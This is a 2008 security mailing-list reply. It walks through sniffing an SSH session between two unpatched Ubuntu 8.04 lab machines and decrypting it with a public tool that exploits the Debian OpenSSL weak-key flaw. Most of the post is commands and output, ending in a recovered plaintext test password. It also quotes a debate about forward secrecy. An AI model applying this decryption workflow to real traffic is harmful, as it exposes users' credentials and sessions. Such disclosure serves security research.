Re: How to decrypt a connection SSH v2?

[Ulises2k <ulises2k () gmail com>]

Hi.
I do.
Thank very much at Raphaël Rigo, development ssh_decoder.[0]

I have 2 Virtual Machines, 1 ubuntu 8.04 server (no updated) and 1
ubuntu 8.04 client (no updated).
VM have vulnerability libssl discovery by Luciano Bello on May-2008.

Client TTY 1:
$ sudo wireshark


In other terminal (TTY2) exec:
$ssh 192.168.230.143
user@192.168.230.143's password:
Last login: Wed Jul  9 17:10:04 2008 from 192.168.230.144
user@ubuntu804server:~$ echo "este es un comando tirado en el server"
user@ubuntu804server:~$ exit

Client TTY1:
$Stop sniffing Wireshark.
Save file "sshv2.cap"


$ tcpick -wRC -wRS -r sshv2.cap
Starting tcpick 0.2.1 at 2008-07-10 14:14 EDT
Timeout for connections is 600
tcpick: reading from sshv2.cap
1      SYN-SENT       192.168.230.144:44550 > 192.168.230.143:ssh
1      SYN-RECEIVED   192.168.230.144:44550 > 192.168.230.143:ssh
1      ESTABLISHED    192.168.230.144:44550 > 192.168.230.143:ssh
1      FIN-WAIT-1     192.168.230.144:44550 > 192.168.230.143:ssh
1      TIME-WAIT      192.168.230.144:44550 > 192.168.230.143:ssh
1      CLOSED         192.168.230.144:44550 > 192.168.230.143:ssh
tcpick: done reading from sshv2.cap

81 packets captured
1 tcp sessions detected


$ ruby ssh_decoder.rb tcpick*
 * read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none
 * bruteforce DH
DH shared secret :
63368d70f36fca060daa9d83b67f68bdd3cd9a4a150b27bfa51689f091b5d8857eb3b93057430be1577e45bb742b4528dca889cbda21de1ab2ec0ba1e364b421aa2797c1ad4667a66c7b20317842b5c509160a38629ae551e128b64e4af73d5ce7331342d8d9bd6128c3c89e0d2a55b6c4c5b7da06eead4dee4e3eb5d01d1210
 * derive keys
 * decipher streams
 * successful authentication packet
{:username=>"user",
 :nextservice=>"ssh-connection",
 :auth_method=>"password",
 :change=>0,
 :password=>"superpassword"}
 * deciphered streams saved to "sshdecrypt.0.client.dat" &
"sshdecrypt.0.server.dat"

User: User
Password: superpassword

In sshdecrypt.0.client.dat and sshdecrypt.0.server.dat all text
plane.(user/password/command)

The script (ssh_decoder and ssh_kex_keygen ) generate private key.

Dowload ssh_decoder and ssh_kex_keygen [0]

[0]http://www.cr0.org/progs/sshfun/

Thank you very much.


--
Ulises U. Cuñé
Web: http://www.ulises2k.com.ar


On Thu, Jul 10, 2008 at 14:25, Gary E. Miller <gem () rellim com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Yo Paul!
>
> On Thu, 10 Jul 2008, Paul Melson wrote:
>
> > > I assume if the attacker has the public and private keys from not just
> > > one, but both ends, that PFS is not an obstacle.
>
> > It's my understanding that even if you have both endpoints' public and
> > private key pairs, that's not enough to recreate the ephemeral keys used
> > during a particular session.  Without those keys, the packet capture cannot
> > be decrypted.
>
> Read the RFC and tell me that again:
>        http://tools.ietf.org/html/rfc4253#section-8
>
>        "The Diffie-Hellman (DH) key exchange provides a shared secret
>        that cannot be determined by either party alone. "
>                                  ^^^^^^^^^^^^^^^^^^^^^^
>
> The whole point if the key exchange is to use both sets of
> public/private keys to generate this shared secret, and only those 4
> keys.  If you possess those 4 keys then game over, you can decode the
> shared key.
>
> Looks to me that the RFC tells you all you need to know to recover
> the shared secret.    If someone had some time on their hands
> they could probably grab most of the needed code out of the openssh
> code.
>
> RGDS
> GARY
> - ---------------------------------------------------------------------------
> Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97701
>        gem () rellim com  Tel:+1(541)382-8588
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.3 (GNU/Linux)
>
> iD8DBQFIdkX/8KZibdeR3qURAqX2AJoDno9k9Onk6W5ZpGbMF1eCxKBGBwCZAYA2
> bDDCaensdMGUAl9j+ZaWz7o=
> =CXfX
> -----END PGP SIGNATURE-----

------------------------------------------------------------------------
This list is sponsored by: Cenzic

Top 5 Common Mistakes in
Securing Web Applications
Get 45 Min Video and PPT Slides

www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------